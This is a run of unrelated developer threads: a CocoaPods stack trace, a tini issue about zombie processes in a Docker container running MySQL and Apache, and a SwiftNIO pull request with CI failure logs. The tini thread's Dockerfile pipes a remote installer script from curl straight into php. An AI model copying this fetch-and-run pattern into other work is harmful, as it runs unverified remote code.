/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/user_interface.rb:145:in `message'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer/xcode/pods_project_generator/file_references_installer.rb:92:in `add_source_files_references'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer/xcode/pods_project_generator/file_references_installer.rb:46:in `install!'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer/xcode/pods_project_generator.rb:101:in `block in install_file_references'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/user_interface.rb:145:in `message'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer/xcode/pods_project_generator.rb:99:in `install_file_references'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer/xcode/single_pods_project_generator.rb:17:in `generate!'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer.rb:295:in `block in create_and_save_projects'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/user_interface.rb:64:in `section'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer.rb:290:in `create_and_save_projects'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer.rb:281:in `generate_pods_project'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer.rb:159:in `install!'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/command/update.rb:62:in `run'
/Library/Ruby/Gems/2.6.0/gems/claide-1.0.3/lib/claide/command.rb:334:in `run'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/command.rb:52:in `run'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/bin/pod:55:in `<top (required)>'
/usr/local/bin/pod:23:in `load'
/usr/local/bin/pod:23:in `<main>'

I can reproduce this to, while installing 4.3.0

@MortyMerr Are you using the latest version of Cocoapods? Have you done a pod repo update?
Thanks,
Lee

Still reproduced it by using Cocoapods v1.9.3 after done 'pod update'

@JonathanChen123 @MortyMerr @iDevid
Have any of you experienced this with Realm >5.x?

Actually no


Defunct processes still happen

Hi!
I'm probably doing something wrong, or at least something I'm not supposed to do, but I'm still seeing defunct processes when using tini.
The idea is to run a container with Apache and MySQL. Before both of these start, an NFS share needs to be mounted, containing the database files and files required by the application itself. MySQL is configured to read its database files from that share, as is the application.
Starting everything up is not a problem, daemons start, tests can be run, but shutting the container down is a problem. That's when I stumbled across tini, which seemed would solve the issues.
No such luck, I'm still seeing defunct processes:
    root       507  4.9  0.3<PHONE_NUMBER>6 ?        Ssl  16:11   0:28 /usr/bin/docker daemon -H fd://
    root       537  0.0  0.0<PHONE_NUMBER>8 ?        Ssl  16:11   0:00  \_ docker-containerd -l /var/run/docker/libcontainerd/docker-containerd.sock --runtime docker-runc --start-timeout 2m
    root     10726  0.0  0.0 274592  3360 ?        Sl   16:16   0:00      \_ docker-containerd-shim 88ae86ccaee1221bc6ee15afde41037bd5461caf7f9c51241ee855f671bfda0e /var/run/docker/libcontainerd/88ae86ccaee1221bc6
    root     10742  0.0  0.0      0     0 ?        Ss   16:16   0:00          \_ [tini]
    sshd     10765  0.2  0.0      0     0 ?        Zl   16:16   0:00              \_ [mysqld] <defunct>

Or like so:
root      1511  0.2  0.2<PHONE_NUMBER>2 ?        Ssl  16:39   0:01 /usr/bin/docker daemon -H fd://
root      1516  0.0  0.0<PHONE_NUMBER>6 ?        Ssl  16:39   0:00  \_ docker-containerd -l /var/run/docker/libcontainerd/docker-containerd.sock --runtime docker-runc --start-timeout 2m
root      1848  0.0  0.0 266652  3084 ?        Sl   16:39   0:00      \_ docker-containerd-shim d95d83caa0b4e23cd81a938630fbcd3738208a59311221683575833bc02d2f06 /var/run/docker/libcontainerd/d95d83caa0b4e23cd81a938630fbcd3738208a59311221
root      1863  0.0  0.0      0     0 ?        Ss   16:39   0:00          \_ [tini]
www-data  1896  0.0  0.0      0     0 ?        D    16:39   0:00              \_ [apache2]

I'm all out of ideas.
This is my Dockerfile:
FROM debian:jessie

STOPSIGNAL 9

# Install packages
ENV DEBIAN_FRONTEND noninteractive

# Configure Percona repository
RUN echo "deb http://repo.percona.com/apt jessie main" >> /etc/apt/sources.list.d/percona.list
RUN apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 0x1C4CBDCDCD2EFD2A

# Update and install packages
RUN apt-get update && apt-get -y install curl nfs-common git apache2 libapache2-mod-php5 percona-server-server-5.6 php-apc php-pear php5-apcu php5-cli php5-common php5-curl php5-gd php5-intl php5-json php5-mcrypt php5-mysql php5-readline php5-tidy php5-xmlrpc && apt-get install -y --no-install-recommends psutils

# Install composer (please find a better way :'()
RUN curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/bin --filename=composer

# Add image configuration and scripts
ADD config/mysql.cnf /etc/mysql/conf.d/mysql.cnf

ADD scripts/entrypoint.sh /opt/entrypoint.sh
RUN chmod 755 /opt/entrypoint.sh

# Apache configuration
ADD /config/apache-vhost.conf /etc/apache2/sites-available/000-default.conf
RUN a2enmod rewrite

ADD https://github.com/krallin/tini/releases/download/v0.9.0/tini-static /tini
RUN chmod 755 /tini

# PHP environment variables
ENV PHP_UPLOAD_MAX_FILESIZE 10M
ENV PHP_POST_MAX_SIZE 10M

EXPOSE 80 443

ENTRYPOINT ["/tini", "--", "/opt/entrypoint.sh"]

And this is the entrypoint.sh script:
#!/usr/bin/env bash
set -x

# start rpcbind
rpcbind -f &

# mount data
mkdir -p /mnt/data/
mount -o nfsvers=3 <IP_ADDRESS>:/mnt/pool0/snapshot/1234 /mnt/data/

# start mysql
mysqld &

# start apache
source /etc/apache2/envvars
apache2 -D FOREGROUND &

# launch a shell
/bin/bash

I'm not entirely sure I fully understand what you're doing yet, and reproducing this might be a little tricky for me considering the NFS set up. That being said, could you please run tini with the -vvv flag, stop your container, and post its output here? That would at least give me a better picture of what it it's that you're actually doing here ;)
To be fair, I'm surprised Tini isn't even exiting immediately when bash exits (which I assume happens since it's not in the process lists you're showing).
Thanks!

Thanks for looking into this so quickly. :)
This is the output I'm getting:
$ ps faxu
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.2  0.0   1116     4 ?        Ss   15:25   0:00 /tini -vvv -- /opt/entrypoint.sh sh -c if [ -x /usr/local/bin/bash ]; then .exec /usr/local/bin/bash  elif [ -x /usr/bin/bash ]; then .exec /usr/bin/bash  elif [ -x /bin/bash ]; then .exec /bin/bash  elif [ -x /usr/local/bin/sh ]; then .exec /usr/local/bin/sh  elif [ -x /usr/bin/sh ]; then .exec /usr/bin/sh  elif [ -x /bin/sh ]; then .exec /bin/sh  else .echo shell not found .exit 1 fi
root         7  0.0  0.0  20064  2860 ?        S    15:25   0:00 bash /opt/entrypoint.sh sh -c if [ -x /usr/local/bin/bash ]; then .exec /usr/local/bin/bash  elif [ -x /usr/bin/bash ]; then .exec /usr/bin/bash  elif [ -x /bin/bash ]; then .exec /bin/bash  elif [ -x /usr/local/bin/sh ]; then .exec /usr/local/bin/sh  elif [ -x /usr/bin/sh ]; then .exec /usr/bin/sh  elif [ -x /bin/sh ]; then .exec /bin/sh  else .echo shell not found .exit 1 fi
root         8  0.0  0.0  37080  2872 ?        S    15:25   0:00  \_ rpcbind -f
mysql       15  8.7  0.0      0     0 ?        Zl   15:25   0:00  \_ [mysqld] <defunct>
root        16  1.4  0.1<PHONE_NUMBER>8 ?        S    15:25   0:00  \_ apache2 -D FOREGROUND
www-data    19  0.0  0.0 402140  9544 ?        S    15:25   0:00  |   \_ apache2 -D FOREGROUND
www-data    20  0.0  0.0 402140  9544 ?        S    15:25   0:00  |   \_ apache2 -D FOREGROUND
www-data    21  0.0  0.0 402140  9544 ?        S    15:25   0:00  |   \_ apache2 -D FOREGROUND
www-data    22  0.0  0.0 402140  9544 ?        S    15:25   0:00  |   \_ apache2 -D FOREGROUND
www-data    23  0.0  0.0 402140  9544 ?        S    15:25   0:00  |   \_ apache2 -D FOREGROUND
root        49  0.0  0.0  20064  2780 ?        S    15:26   0:00  \_ /bin/bash
root        51  0.0  0.0  20072  2360 ?        S    15:26   0:00      \_ /bin/bash
root        54  0.0  0.0  17496  2012 ?        R    15:26   0:00          \_ ps faxu
statd       14  0.5  0.3  92576 55948 ?         Notice the defunct MySQL process in the processlist.

@gerryd It looks like MySQL (PID 15) is a child of bash (PID 7), so bash is getting the SIGCHLD, Tini isn't. Tini will only receive SIGCHLD when / if MySQL's parent (which is bash) exits and MySQL is re-parented to Tini.
The solution to your problem is to let MySQL and Apache daemonize rather than merely launch them in the background (which you're doing by disabling daemonization and using & to send them to the background).
Note: it'd be very incorrect (and probably impossible, though I haven't checked lately) for Tini to reap processes it doesn't own. That would confuse their rightful owners.
Cheers,

Can you clarify what you mean by "after the issue occurs:"? How do you trigger said issue? With docker stop? if so can you send the output, and perhaps check your docker logs as well.
I'll try to repro your issue without the NFS parts and see whether that works on my end.
Thanks!

It looks like you are running bash as the final process of the container?  What I see is that tini has a child of bash and inside that you run your services and end with a second bash process that you look at interactively.  In this case tini will only forward signals to its immediate children (ie, just bash) and so when bash exits, tini then exits, killing all other processes.
Rather than running multiple processes in the background, you should either split them into multiple containers (and use something like compose to bring them all up), or use a supervisor like http://supervisord.org/ to manage the multiple processes. Currently if you had an issue with mysql or nfs dying, the container would not automatically bring it back up.

@krallin What I meant was the first process list I pasted is when the container is running, so you get an idea of what is being run and how the processes are linked. The second one ("after the issue occurs") is the processlist showing the defunct process, which happens when the container gets stopped.
The Docker container is being run as part of a GitLab CI process, so I'm not entirely sure how the CI runner shuts down the container, but I would assume it calls docker stop, indeed. The strange thing is, and I just noticed that, I can consistently reproduce it when it is being controlled via the CI runner, but not when I'm running it myself from the commandline. Something must be different between the two methods.
As for logs, I don't seem to be able to find relevant logs anywhere. I would think Docker would log the commands issues by the GitLab CI runner (or via the docker command) somewhere, but I don't see it, and the internet isn't being helpful. Any pointer as to what you are looking for, exactly?
@yosifkit The previous iteration of this Docker container was using supervisord, and had the same issue. Most of the time, it was the mysqld process that would go defunct.
Splitting up into multiple containers would indeed be the way to go, but as this is part of a GitLab CI flow, I'm rather limited in my options. I need a fresh snapshot of the data & databases (supplied via the NFS mount), and I need a MySQL and Apache process. The requirement of getting and mounting the snapshot is what makes things complicated, I don't think there is a way to do that (in combination with GitLab CI) without spawning a shell script before starting the daemons.
If this can't be fixed (I agree I'm probably abusing Docker & tini), I'll have to resort to using the GitLab CI shell executor instead of the Docker one, allowing for more control over the containers. I could then use Docker volumes to get the data snapshots into the containers, and could then even run them all separately. I would prefer not to, I like to avoid reinventing the wheel and using what is there already, if at all possible.

@gerryd,
It'd be worthwhile if you could retrieve the Docker daemon logs corresponding to your container being terminated. It looks like your container should receive SIGKILL (as per your STOPSIGNAL), and no matter what, Docker should eventually send a SIGKILL, which should tear down the entire container. If the container does in fact receive a SIGKILL, then there isn't much Tini can do for you. Once Tini receives a SIGKILL, it'll never run again.
That being said, in your example, it looks like Tini might have exited normally already anyway, which should result in your entire container being torn down since Tini is running as PID 1. However, that's not cleanup Tini itself should do: at that stage, it's up to the Kernel to do the cleanup (since Tini itself has exited).
I have certainly seen some cases where processes can't be destroyed immediately because they had some IO pending, etc. which tends to happen especially when you're using somewhat unreliable IO, like NFS. The fact that your MySQL container is using CPU despite being dead suggests something like this might be up. There are bunch of Docker issues you could look at for more information (just search for "Docker cannot kill container").

Does the condition persist for a while after you terminate the container, or does it eventually go away?

Hey there; haven't heard back from you in a while. is this still an issue for you?

Hi!
Sorry for going silent. I tried a bunch more things, before I eventually had to give up due to a lack of time and  switch the GitLab CI runner to shell, allowing me to create dedicated containers per service. From a GitLab CI point of view, this is a bit of a clumsy workaround, but it makes sense from a Docker perspective.
I still don't understand fully what was going on and why it didn't work the way I wanted it to. I suggest to close this issue for now, as unfortunately I don't have time to dig into this further right now. If another project comes along, I'll give it another go. I'll open a new issue if need be at that point.
Thanks for your input, if anything, it shed at least some light on what could be the problem!

Hey @gerryd, no worries; thanks for getting back to me 😄
I'm sorry I haven't been able to reproduce this. I'm still skeptical the issue is in Tini itself, but if anything new comes up / if you end up looking at this again, please do comment here and I'll reopen!
Thanks!


Retain a ref to NIOAsyncWriter until channel active

Motivation:
NIOAsyncChannel requires users to explicitly close it, this is typically done by calling executeThenClose. If a NIOAsyncChannel isn't closed then its outbound writer will hit a precondition failure on deinit. Not calling executeThenClose is a programmer error.
However there are some sharp edges: if NIO never returns the NIOAsyncChannel to the caller (e.g. if a connect attempt fails) then nothing will finish the writer and precondition will fail in the deinit. Working around this from a user perspective is non-obvious and requires keep tracking of all NIOAsyncChannels created from a connect attempt and closing the unused ones.
We still want to maintain the precondition when users don't close the channel, one way of achieving this is by defining a point in time at which NIO hands responsibility of the channel to the user.
Modifications:

Retain the writer in the outbound writer handler until channel active
On successful connect attempts, the channel becomes active and the connected channel is returned to the caller.
On failed attempts channel active isn't called so the writer is retained until the handler is removed from the pipeline at which point it is finished.

Result:
Failed connect attempts don't result in precondition failures when using NIOAsyncChannel.

Hmm, CI is failing to install jemalloc
08:56:25 10.53 E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/universe/j/jemalloc/libjemalloc2_5.2.1-4ubuntu1_amd64.deb  rename failed, No such file or directory (/var/cache/apt/archives/partial/libjemalloc2_5.2.1-4ubuntu1_amd64.deb -> /var/cache/apt/archives/libjemalloc2_5.2.1-4ubuntu1_amd64.deb).
08:56:25 10.53 E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?
08:56:25 ------
08:56:25 Dockerfile:23
08:56:25 --------------------
08:56:25   21 |
08:56:25   22 |     # install jemalloc for running allocation benchmarks
08:56:25   23 | >>> RUN apt-get update & apt-get install -y libjemalloc-dev
08:56:25   24 |
08:56:25   25 |     # tools
08:56:25 --------------------
08:56:25 ERROR: failed to solve: process "/bin/sh -c apt-get update & apt-get install -y libjemalloc-dev" did not complete successfully: exit code: 100

@swift-server-bot test this please

I'm happy with this, but would like JW to review.

Now we have a fun mixture of failures unrelated to the changes...
Swift 5.9 and 5.10 are failing some datagram tests:
09:24:27 Test Case 'DatagramChannelTests.testSetGetEcnNotificationOption' started at 2024-04-19 08:24:27.687
09:24:27 /swift-nio/Tests/NIOPosixTests/DatagramChannelTests.swift:660: error: DatagramChannelTests.testSetGetEcnNotificationOption : XCTAssertNoThrow failed: threw error "unknown(host: "::1", port: 0)" -

and
09:24:27 Test Case 'DatagramChannelTests.testSetGetPktInfoOption' started at 2024-04-19 08:24:27.693
09:24:27 /swift-nio/Tests/NIOPosixTests/DatagramChannelTests.swift:829: error: DatagramChannelTests.testSetGetPktInfoOption : XCTAssertNoThrow failed: threw error "unknown(host: "::1", port: 0)" -

Swift 5.9 cxx interop is failing to establish connections to archive.ubuntu.com to install various dependencies:
09:25:39 85.82 E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/n/netcat-openbsd/netcat-openbsd_1.218-4ubuntu1_amd64.deb  Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::19). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::101). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::103). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::102). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::16). - connect (101: Network is unreachable)
09:25:39 85.82 E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/l/lmdb/liblmdb0_0.9.24-1build2_amd64.deb  Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::19). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::101). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::103). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::102). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::16). - connect (101: Network is unreachable)
09:25:39 85.82 E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/libm/libmaxminddb/libmaxminddb0_1.5.2-1build2_amd64.deb  Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::19). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::101). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::103). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::102). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::16). - connect (101: Network is unreachable)
09:25:39 85.82 E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/l/lsof/lsof_4.93.2%2bdfsg-1.1build2_amd64.deb  Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::19). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::101). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::103). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::102). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::16). - connect (101: Network is unreachable)
09:25:39 85.82 E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/libo/libonig/libonig5_<IP_ADDRESS>-2build1_amd64.deb  Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::19). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::101). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::103). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::102). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::16). - connect (101: Network is unreachable)
09:25:39 85.82 E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/j/jq/libjq1_1.6-2.1ubuntu3_amd64.deb  Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::19). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::101). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::103). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::102). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::16). - connect (101: Network is unreachable)
09:25:39 85.82 E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/j/jq/jq_1.6-2.1ubuntu3_amd64.deb  Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::19). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::101). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::103). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::102). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::16). - connect (101: Network is unreachable)
09:25:39 85.82 E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/n/net-tools/net-tools_1.60%2bgit20181103.0eebece-1ubuntu5_amd64.deb  Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::19). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::101). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::103). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4002:1::102). - connect (101: Network is unreachable) Cannot initiate the connection to archive.ubuntu.com:80 (2620:2d:4000:1::16). - connect (101: Network is unreachable)
09:25:39 85.82 E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?
09:25:39 ------
09:25:39 Dockerfile:17
09:25:39 --------------------
09:25:39   15 |     # dependencies
09:25:39   16 |     RUN apt-get update && apt-get install -y wget
09:25:39   17 | >>> RUN apt-get update && apt-get install -y lsof dnsutils netcat-openbsd net-tools curl jq # used by integration tests
09:25:39   18 |
09:25:39   19 |     # ruby
09:25:39 --------------------
09:25:39 ERROR: failed to solve: process "/bin/sh -c apt-get update && apt-get install -y lsof dnsutils netcat-openbsd net-tools curl jq # used by integration tests" did not complete successfully: exit code: 100

This likely explains why various dependencies couldn't be installed: https://status.canonical.com/#/incident/KNms6QK9ewuzz-7xUsPsNylV20jEt5kyKsd8A-3ptQHensLmCBVh6VphXOOE4t72EY4o3wVOetg9awfJ1hij3w==

@swift-server-bot test this please